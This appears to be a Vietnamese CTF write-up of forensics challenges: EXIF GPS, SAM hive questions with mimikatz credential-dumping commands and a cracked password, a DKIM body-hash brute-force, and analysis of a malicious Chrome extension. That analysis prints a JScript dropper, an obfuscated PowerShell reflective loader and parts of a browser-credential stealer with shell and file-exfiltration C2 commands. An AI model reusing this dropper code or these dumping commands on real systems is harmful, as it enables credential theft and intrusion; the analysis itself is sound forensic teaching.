Definitely not Osint
MY CUSTOM TITLEI said, not Osint, and not stego also.
Example: If you find the lat,long is 10.8355694 and 106.808965 then the flag will rounded 3 decimal lat, long FIA{10.836_106.809}
Tại bài này, vì là tag very easy
nên sẽ trực tiếp giải luôn, sử dụng exiftool
ta tra được thông tin metadata
sau:
Dựa vào thông tin tọa độ GPS được gắn trong metadata thì ta sử dụng công cụ để convert từ GPS latitude
và GPS longtitude
thành format của flag bằng trang web này
S4m Sm1th
DescriptionYou said I’m crazy, cause you don’t think I know what you’ve done ~~ But when you call me baby, I know I’m not the only one
Forget that nonsense description, deep dive into file and answer all the questions. Gud luck!
Tại bài này sẽ cho ta một file SAM
và một file SYSTEM
và phải kết nối tới server và trả lời các câu hỏi dựa vào đề.
- SAM: Security account manager, đây là một file lưu trữ các thông tin về tài khoản local được lưu trên máy, đây cũng được coi là một phần của registry
- System: Là một file registry trong Windows, đùng để cấu hình windows, drivers,…
Có thể mở file SAM
bằng registry và trong đó sẽ chứa một số thông tin mà ta có thể sử dụng trong bài này
Question 1How many users are enabled in the machine?
Để trả lời cho câu hỏi này thì ta sẽ vào bên trong đường dẫn \ROOT\SAM\DOMAIN\ACCOUNT\USERS
sẽ ra được các trường thông tin trong file SAM
Dựa vào trường Account enable
thì ta biết được đáp án là 6
Question 2List all users in Administrators group (separated by comma, by alphabet) Example: admin,jack,john,leo
Tại câu hỏi này chỉ cần dựa vào trường group của user thì sẽ ra được kết quả, tìm user nào có group Administrator
.
Answer: Administrator,Bory Tran,S4m Sm1th
Question 3How many times has user Administrator failed to login?
Để kiểm tra thì sẽ dựa vào trường Invalid login count
là ra kết quả
Answer: 16
Question 4How many times has user S4m Sm1th successfully logged in?
Đến User S4m Sm1th
và tìm cột Total login acount
.
Answer: 6
Question 5Check account creation date for user “E4gl3 Le” and convert it to epochtime (GMT)
Tìm đến user E4gl3 Le
và tìm tới cột Created on
và convert sang epochtime
Answer: 1723851333
Question 6Check the last time user “Jerryyy Dang” changed their password and convert it to epochtime (GMT)
Cũng như câu trên, tại đây ta sẽ tìm tới user Jerryyy Dang
và kiểm tra phần Last Password change
Answer: 1723853225
Question 7Tell me the last time incorrect password was entered for user “S4m Sm1th” and convert it to epochtime (GMT)
Cũng tương tự các câu trên, tại đây chỉ cần xem phần Last incorrect password
là ra
Answer: 1723850434
Question 8What is the security question for user at was “Bory Tran” first pet’s name?
Chỉ cần nhìn vào Reset data
đây là các câu hỏi là câu trả lời của từng user khi họ muốn recover mật khẩu khi quên, tại đây ta chỉ cần coi và ra được đáp án
Answer: Phinease
Question 9What is the machine SID?
Để biết được machine SID là bao nhiêu thì ta có thể dựa vào file SAM
kết hợp với SYSTEM
và sử dụng mimikatz
để có thể dump ra được dữ liệu. Sử dụng mimikatz
với câu lệnh sau:
privilege::debug
token::elevate
lsadump::sam /sam:<sam_path> /system:<system_path>
Answer: S-1-5-21-1783870077-3487014741-3000745814
Question 10What is the password of S4m Sm1th?
Và để làm được câu này thì dựa vào câu trên ta biết được mã hash
của S4m Sm1th
vì thế tiến hành lên crackstatsion
để test và cho ra kết quả
Answer: qwertyuiop
In tơ ri ti
DescriptionKỳ mới đã tới nhưng mà voucher học phí tại FPT có vẻ như không hợp lý cho lắm. Bạn hãy giúp Jeryy tìm lại nó nhé!
Tại đây sẽ được cho một file eml
và chứa thông tin về nội dung mail được gửi đi. Khi nhần về phần mail thì ta thấy có một đoạn flag nhưng mà có vẻ nó đã được thay đổi FIA{F|3T_Tru0ng_lu4_g4``_sO_1_Vi-en_fbcb4677393****88e4a6b5def3f5d3b}
Và đề có cho ta hint nói về RFC6367
, đây là một tài liệu đặc tả để nói về việc sử dụng DKIM
để sử dụng cho việc bảo vệ tính toàn vẹn của mail
khi được gửi đi.
Kiểm tra về RFC6367
thì thấy được cơ chế hoạt động để gửi mail đi như thế nào, Ta thấy phần mục 3.7
đề cập tới việc tính toán Message hash
Cả ký (signing) và xác minh (verifying) chữ ký DKIM đều bắt đầu bằng việc tính hai hàm băm: một cho phần thân tin nhắn và một cho các trường tiêu đề được chọn. Tuy nhiên ta chỉ cần chú ý tới phần Hash Step 1
mà RFC6367
đề cập tới
Nó sẽ thực hiện các bước sau:
- Áp dụng thuật toán theo thẻ
c
- Cắt ngắn theo độ dài trong thẻ
l
nếu có - Băm phần thân đã chuẩn hóa bằng thuật toán hashing trong thẻ
a
- Chuyển kết quả băm thành
base64
và lưu vào/so sánh với thẻbh
Dựa vào metadata
thi ta biết được sử dụng
- c = relaxed/relaxed
- a = rsa-sha256
Vậy relaxed/relaxed
là gì ? Đọc thêm ta biết được đây giống như một cách để format theo dạng chuẩn của body
Thuật toán chuẩn hóa sẽ được sử dụng như sau:
- Chuyển chữ hoa sang thường
- Loại bỏ CRLF nhưng giữ CRLF ở cuối
- Chuyển các
tab
hoặcindent
thành mộtwhitespace
- Xóa các
tab
vàindent
ở cuối - Bỏ các
tab
,indent
,whitespace
ở giữa dấu hai chấm
Vậy giờ đã biế hướng làm, giờ ta sẽ tiến hành đi bruteforce
. Các bước thực hiện:
- Chuẩn hóa theo chuẩn
relaxed/relaxed
- Mã hóa theo sha256
- convert base64 và so sánh với
body hash
ban đầu
import hashlib
import base64
import re
import email
import email.message
import sys
from typing import Dict, Optional
def parse_header(dkim_header: str) -> Dict[str, str]:
parameter = {}
parts = dkim_header.split(";")
for part in parts:
key, value = part.split("=", 1)
parameter[key.strip()] = re.sub(r'(\n|\t\|\r|\s)', "", value)
return parameter
def calculate_relaxed_body_hash(body_str: str, hash_alg_name: str = 'sha256', body_encoding: str = 'utf-8') -> str:
"""
Calculates the DKIM body hash (bh) using c=relaxed/relaxed canonicalization.
Args:
body_str: The raw email body as a string. It's assumed that this string
has already been decoded from any MIME transfer encodings (like
quoted-printable or base64 if it's not a plain text part).
Line endings can be mixed (\n, \r\n, \r).
hash_alg_name: The name of the hash algorithm to use (e.g., 'sha256', 'sha1').
Defaults to 'sha256'.
body_encoding: The character encoding to use when converting the canonicalized
body string to bytes for hashing. Defaults to 'utf-8'.
Returns:
The Base64 encoded hash of the canonicalized body.
"""
# 0. Normalize line endings for internal processing (RFC implies CRLF input,
# but Python's splitlines handles various endings gracefully).
# We will reconstruct with CRLF later.
# Using body_str.splitlines() will handle \r, \n, \r\n correctly
# and remove the line endings.
lines = body_str.splitlines()
canonical_lines = []
for line in lines:
# Step 1: Reduce Whitespace within Lines
# All sequences of one or more WSP (Whitespace characters: SPACE and HTAB)
# *within* a line are reduced to a single SPACE character.
# WSP at the beginning or end of the line is NOT affected by this step.
line = re.sub(r'[ \t]+', ' ', line)
# Step 2: Ignore Whitespace at the End of Lines
# All WSP at the end of each line is ignored (removed).
# WSP at the *beginning* of a line is PRESERVED.
line = line.rstrip(' \t')
canonical_lines.append(line)
# Step 3: Ignore All Empty Lines at the End of the Body
# An "empty line" is a line that contains only WSP characters (which would
# have been reduced to an empty string by rstrip above), or no characters
# at all, followed by a CRLF.
while canonical_lines and canonical_lines[-1] == "":
canonical_lines.pop()
# Reconstruct the canonicalized body
if not canonical_lines:
# If the body becomes empty after canonicalization (or was empty to start),
# the hash input is the empty string.
canonical_body_str = ""
else:
# Join lines with CRLF and ensure the body ends with a single CRLF.
# RFC 6376, 3.4.4: "all non-empty canonicalized bodies MUST end with a CRLF."
canonical_body_str = "\r\n".join(canonical_lines) + "\r\n"
# Convert the canonicalized body string to bytes using the specified encoding
body_bytes = canonical_body_str.encode(body_encoding)
# Hashing
try:
hasher = hashlib.new(hash_alg_name)
except ValueError:
raise ValueError(f"Unsupported hash algorithm: {hash_alg_name}. Common are 'sha256', 'sha1'.")
hasher.update(body_bytes)
binary_hash = hasher.digest()
# Base64 encode the binary hash
b64_hash = base64.b64encode(binary_hash)
return b64_hash.decode('ascii')
def get_email_body(mail: email.message.Message) -> str:
if mail.is_multipart():
for part in mail.walk():
if part.get_content_type() == "text/plain":
return part.get_payload(decode=True).decode()
return ""
else:
return mail.get_payload(decode=True).decode()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python solve.py <email_file>")
sys.exit(1)
with open(sys.argv[1], "rb") as f:
mail = email.message_from_bytes(f.read())
dkim_header = mail.get("DKIM-Signature")
dkim_parameter = parse_header(dkim_header)
if mail.is_multipart():
body = mail.as_string().split("\n\n", 1)[1]
else:
body = mail.get_payload(decode=True).decode('utf-8', errors='ignore')
for i in range(0x0000, 0x10000):
candidate = format(i, '04x')
print((candidate))
edited_body = body.replace("****", str(candidate))
bh1 = calculate_relaxed_body_hash(edited_body)
if bh1 == dkim_parameter["bh"]:
print(f"Match found: {candidate}")
break
frog10sion
DescriptionVào một ngày đẹp trời, S4m Sm1th muốn trở thành héc cơ số 1 fbt nên đã thử cài phần mềm lạ về nhằm hack trường. Sau đó thì… không có sau đó ở đây nữa 🤡
Tại bài này cho ta một Hard disk
, thử kiểm tra thông qua việc sử dụng History
để kiểm tra user này đã làm gì, vì khi muốn cài phần mềm lạ thì ta sẽ có xu hướng cài đặt từ trên mạng xuống. Đường dẫn của file History
sẽ nằm ở:
- Appdata\Local\Google\Chrome\User Data\Default\History
Mở bằng DB browser
vì file History
được viết dưới SQlite 3
nên ta có thể dễ dàng xem được user này đã làm được những gì thì ta thấy được User này đã download một file hack-fap-fpt-chrome-extension.zip
Vì nhận biết đây là một file extension nên ta sẽ tìm kiếm chỗ đường dẫn import extension
Ta biết đường dẫn tại
- C:\Users[YourUsername]\AppData\Local\Google\Chrome\User Data\Default\Extensions
Vào trong đường dẫn thấy các Extension
sau:
Do Extension sau khi import đã bị đổi hết lại tên nên ta phải đi dò từng folder và xem manifest.json
để biết được tên của extension. Thấy rằng có một extension chứa metadata liên quan đến ứng dụng FAP
Để ý trong phần script
có một file JS
tận 15mb kiểm tra hàm inject
var silver = WScript.CreateObject("Microsoft.XMLDOM");
var sinema = silver.createElement("tmp");
sinema.dataType = "bin.base64";
sinema.text = aso_ibora;
var sugar = WScript.CreateObject("ADODB.Stream");
sugar.Type = 1;
sugar.Open();
sugar.Write(sinema.nodeTypedValue);
var wshShell = WScript.CreateObject("WScript.Shell");
var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
var path = "yum.bat";
var is_temp = false;
if (is_temp) {
path = tempdir + "\\" + path;
} else {
path = appdatadir + "\\" + path;
}
sugar.SaveToFile(path, 2);
if (path.endsWith(".jar")) {
wshShell.run("java -jar \"" + path + "\"");
} else if (path.endsWith(".bat") || path.endsWith(".wsf")) {
wshShell.run("wscript \"" + path + "\"");
} else {
wshShell.run("\"" + path + "\"");
}
} catch (err) {
WScript.Echo(err.message);
}
Tại hàm này sẽ gen ra một file yum.bat
trong appdata
và sau đó sẽ lưu file dưới tên yum.bat
và lưu payload từ base64
.
Lấy payload trong aso_ibora
và decode base64
Dump ra được một file .bat
và bây giờ ta sẽ phân tích file bat
này. Để ý file này bị Obfuscate nhưng chỉ dùng phương pháp String obfuscate
ta chỉ cần việc replace thôi là được.
Remove các REM bởi vì nó chỉ làm rối
sau khi deobfuscate thì ra đoạn sau:
set "_NT_SYMBOL_CHANNEL_=_NT_SYMBOL_CHANNEL_"
reg add "HKEY_CURRENT_USER\Environment" /v _NT_SYMBOL_CHANNEL_ /d "1258850437876944929" /f
set "_NT_SYMBOL_ID=_NT_SYMBOL_ID"
reg add "HKEY_CURRENT_USER\Environment" /v _NT_SYMBOL_ID /d "1258850435972993145" /f
echo F | xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ~0.Qjv
echo attrib +s +h ~0.Qjv
~0.Qjv -WindowStyle hidden -command "$Xmszuibzdz = Get-Content '' | select-object -Last 1; $Ydxyyqq = [System.Convert]::FromBase64String($Xmszuibzdz);$Iasbxgym = New-Object System.IO.MemoryStream( , $Ydxyyqq );$Jhfdjpe = New-Object System.IO.MemoryStream;$Kszejspes = New-Object System.IO.Compression.GzipStream $Iasbxgym, ([IO.Compression.CompressionMode]::Decompress);$Kszejspes.CopyTo( $Jhfdjpe );$Kszejspes.Close();$Iasbxgym.Close();[byte[]] $Ydxyyqq = $Jhfdjpe.ToArray();[Array]::Reverse($Ydxyyqq); $Ikhpwqruay = [System.Threading.Thread]::GetDomain().Load($Ydxyyqq); $Miihqpfmzj = $Ikhpwqruay.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
exit
Script sẽ gắn các biến môi trường vào bên trong máy. Sau đó thực hiện lệnh powershell.
- Đọc dòng cuối của file
- Giải mã base64
- Decompress Gzip
- Đảo ngược chuỗi
- Load chương trình
Sau khi download được file gzip
thì có được file stealer
bên trong. Tiến hành đảo ngược lại chuỗi như trên powershell
script đã thực hiện
Sau đấy thì ta có được file exe
Khi phân tích file stealer
thì ta thấy được đây chính là file stealer
được viết bằng python vì có icon của file được compile bằng python
Tiến hành decompyle
, sử dụng pyextractor
để lấy ra được các file pyc
. Kiểm tra thấy một file tên stealer.pyc
Sử dụng trang https://www.pylingual.io/
và upload file pyc
lên thì ta được source code của bài. Phân tích kĩ thông qua việc đọc code python thì ta biết được các thông tin sau:
Hàm main
sẽ thực thi hàm FBxMfTQUgz
và sau đó sẽ chạy discord bot dựa trên token được cho. Phân tích hàm FBxMfTQUgz
thì biết đây là chức năng stealer
Nó sẽ đi qua hết tất cả các đường dẫn chứa thông tin của trình duyệt nhân Chronium
- Opera
- Opera GX
- Google Chrome
- Microsoft Edge
- Brave
- Chrome Beta
- Chromodo
Đối với từng trình duyệt chúng nó sẽ tìm Mater key
của browser thông qua hàm zaDThEJSGQ
Đối với từng browser profile, sẽ đi lần lượt qua hết các profile và thu thập các thông tin sau:
- wtcQSTjBih: lấy username và pass đăng nhập
- dZLKtPxpBD: Lấy lịch sử truy cập web
- lZERLeNOwa: lấy thông tin download
Những thông tin này sẽ lưu vào các biến lần lượt: LOGINS
, WEB_HISTORY
, DOWNLOADS
Hàm GpRAulLvrQ
sẽ phân giải biến môi trường bao gồm _NT_SYMBOL_ID
và _NT_SYMBOL_CHANNEL_
Sẽ gửi thông tin thông qua địa chỉ CNC dựa trên _NT_SYMBOL_ID
và _NT_SYMBOL_CHANNEL_
. Có các command bao gồm:
- globalinfo: lấy thông tin của máy
- execshell: thực hiện shell trên máy của nạn nhân
- quit: ngắt kết nối
- steal: lấy hết thông tin trong browser của nạn nhân
- showHis: lấy thông tin lịch sử truy cập của nạn nhân
- showDown: xem lịch sử download của nạn nhân
- download: thực hiện lấy các file trên máy nạn nhân
Tại đây, khi kiểm tra tình trạng bot lẫn server thì ta thấy được rằng server vẫn còn hoạt động và có thể truy cập được.
Truy cập vào C2 thì ta thấy được những gì được thực thi
Tại đây có một file zip được gửi lên server, tải về xem thử, tuy nhiên khi extract không được
Đọc lại source code thì thấy được chức năng download
sẽ thực hiện việc lấy hết tất cả các loại file sau đây từ các thư mục trong USERPROFILE
Sau khi lấy xong thì sẽ đặt tên là upload.zip
và sau đó sẽ được thực thi tại hàm CXPkycmTAa
def CXPkycmTAa(uNvoSEMwJe, VSeWtElMYr, key):
try:
with open(uNvoSEMwJe, 'rb') as inp:
data = inp.read()
enc = MPOaqWuYkH(key, data)
with open(VSeWtElMYr, 'wb') as out:
out.write(enc)
except Exception as e:
return 0
Khi xét hàm này ta thấy được nó được sử lý thông qua hàm MPOaqWuYkH
. Đây là mã hóa RC4
def itWVhandHx(khIKRYXpQF):
LxYmNMbCqy = len(khIKRYXpQF)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + khIKRYXpQF[i % LxYmNMbCqy]) % 256
S[i], S[j] = S[j], S[i]
return S
def PfUxzowRWm(S, uNvoSEMwJe):
i = j = 0
out = []
for char in uNvoSEMwJe:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
out.append(char ^ K)
return bytes(out)
def MPOaqWuYkH(key, data):
key = [ord(c) for c in key]
S = itWVhandHx(key)
return PfUxzowRWm(S, data)
Vậy chúng ta biết đây là sau khi nén file zip
thì đã được mã hóa RC4
và gửi đi, vậy giá trị RC4 key
ở đây là gì. Câu trả lời là địa chỉ IP của nạn nhân. Bởi vì khi trace hàm ngược lại thì tham số thứ 3 của CXPkycmTAa
chính là phần key, khi kiểm lại hàm thì thấy tham số thứ 3 chính là hàm nyCidxJVDf
. Trace hàm thì biết hàm này lấy thông tin IP
def nyCidxJVDf() -> str:
OonWMrLQeJ = 'https://api.ipify.org?format=json'
YgyvzXclqs = requests.get(OonWMrLQeJ)
YgyvzXclqs.raise_for_status()
data = YgyvzXclqs.json()
return data['ip']
Để lấy được thông tin IP thì ta để ý TA
có thực hiện sử dụng câu lệnh globalinfo
biết được IP
user là 113.161.37.69
Giờ dùng cyberchef
để decrypt và ra được file zip hoàn chỉnh
Flag nằm trong thư mục Download
sau khi giải nén
Trong file flag_day_ahihi.png